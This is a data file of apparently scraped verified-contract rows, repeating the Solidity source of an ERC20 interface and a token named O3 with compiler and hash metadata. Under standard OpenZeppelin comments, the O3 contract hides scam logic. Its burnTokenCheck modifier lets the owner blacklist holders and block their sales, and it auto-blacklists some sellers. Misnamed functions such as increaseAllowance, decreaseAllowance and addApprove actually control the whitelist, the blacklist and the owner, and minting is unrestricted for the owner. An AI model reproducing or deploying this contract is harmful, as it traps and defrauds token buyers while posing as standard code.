* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
534,
616
]
} | 4,232 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
895,
983
]
} | 4,233 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1647,
1726
]
} | 4,234 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2039,
2141
]
} | 4,235 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1469,
1557
]
} | 4,236 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1671,
1763
]
} | 4,237 |
